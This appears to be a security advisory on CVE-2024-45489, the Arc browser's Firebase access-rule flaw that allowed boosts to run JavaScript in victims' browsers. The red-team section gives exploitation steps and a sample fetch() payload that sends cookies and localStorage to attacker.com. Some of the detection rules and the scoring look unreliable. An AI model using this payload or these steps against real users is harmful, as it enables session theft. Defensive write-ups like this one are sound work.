CVE-2024-45489

Executive Summary

CVE-2024-45489 is a critical cloud misconfiguration vulnerability in the Arc browser (versions before 2024-08-26) that allowed remote code execution (RCE) via JavaScript boosts. The core issue stems from misconfigured Firebase Access Control Lists (ACLs), enabling an attacker to create or update a boost using another user’s ID. This installs the malicious boost in the victim’s browser and executes arbitrary JavaScript in a privileged context. The vendor has confirmed zero affected users and no active exploitation, but the vulnerability highlights risks in cloud-permission models for browser extensions.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a cloud-based misconfiguration in the Arc browser’s Firebase backend, affecting the browser’s boost feature.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (vendor-assigned, no active exploitation)
• Vector: UNKNOWN (no CVSS vector provided)
• Threat Level: Critical (potential for full browser compromise if exploited)
• Exploitability: Low (requires knowledge of victim’s user ID and Firebase ACL bypass)
• Impact: High (arbitrary JavaScript execution in privileged context, data exfiltration, session hijacking)

Deep Dive & Mechanics

The vulnerability resides in Arc’s “boosts” feature, which allows users to inject custom JavaScript into web pages. Boosts are stored in Firebase Firestore with user-specific ACLs. Due to a misconfiguration, the ACLs did not properly validate ownership, allowing an attacker to:

1. Enumerate or guess a victim’s Firebase user ID.
2. Create or update a boost document with the victim’s ID as the owner.
3. The boost is automatically installed in the victim’s browser.
4. The boost executes arbitrary JavaScript in a privileged context (e.g., with access to browser APIs, cookies, and local storage).

The attack does not require user interaction beyond the victim using Arc. The vendor has since corrected the Firebase ACLs and confirmed no active exploitation.

Vulnerable vs. Patched Code

Vulnerable (before 2024-08-26):

// Firebase Firestore rule allowing write access without ownership check
match /boosts/{boostId} {
  allow read, write: if request.auth != null;
}

Patched (after 2024-08-26):

// Corrected rule enforcing ownership
match /boosts/{boostId} {
  allow read: if request.auth != null;
  allow write: if request.auth.uid == resource.data.ownerId;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Victim’s Firebase user ID (obtainable via social engineering or Firebase API enumeration).
• Access to Arc browser’s Firebase project (publicly accessible due to misconfiguration).

Exploitation Steps:

1. Identify victim’s user ID (e.g., via Firebase Auth REST API).
2. Craft a malicious boost with arbitrary JavaScript (e.g., keylogger, cookie stealer).
3. Use Firebase Firestore REST API to create/update the boost with victim’s ID as owner.
4. Victim’s browser automatically loads the boost on next page load.

Example Payload:

// Malicious boost script
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({cookies: document.cookie, localStorage: JSON.stringify(localStorage)})
});

Blue Team

Detection:

• Monitor Firebase Firestore for unauthorized write operations to boosts collection.
• Alert on boosts created with mismatched owner IDs.
• Review Arc browser logs for unexpected boost installations.

Mitigation:

• Enforce strict Firebase ACLs (as shown in patched code).
• Implement rate limiting on boost creation.
• Audit all existing boosts for malicious content.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from Arc browser.
• File: Unexpected boost scripts in Arc’s local storage (path: ~/.config/Arc/Boosts/).
• Firebase: Firestore documents in /boosts/ collection with mismatched ownerId field.
• Behavior: Unusual JavaScript execution in privileged context (e.g., accessing chrome.* APIs).

Detection Engineering

YARA Rule

rule Arc_Boost_Malicious {
  meta:
    description = "Detects malicious Arc boost scripts"
    author = "Valters IT"
    date = "2024-08-26"
  strings:
    $s1 = "fetch("
    $s2 = "document.cookie"
    $s3 = "localStorage"
    $s4 = "chrome."
  condition:
    any of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: Arc Boost Unauthorized Write
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthorized write to Arc boosts Firestore collection
logsource:
  product: firebase
  service: firestore
detection:
  selection:
    collection: "boosts"
    operation: "write"
    ownerId|re: "^(?!{user.uid}).*$"
  condition: selection
falsepositives:
  - Legitimate boost sharing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"Arc Boost Malicious JavaScript Exfiltration";
  flow:to_server;
  content:"POST";
  http_method;
  content:"/steal";
  http_uri;
  content:"cookies";
  http_client_body;
  sid:1000001;
  rev:1;
)

Remediation & Mitigation

1. Immediate: Update Arc browser to version 2024-08-26 or later.
2. Cloud: Verify Firebase ACLs enforce ownership checks on all collections.
3. Monitoring: Enable Firebase Firestore audit logs and alert on unauthorized writes.
4. User Education: Advise users to review installed boosts and disable unknown ones.
5. Vendor: Conduct security review of all cloud permissions for browser features.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert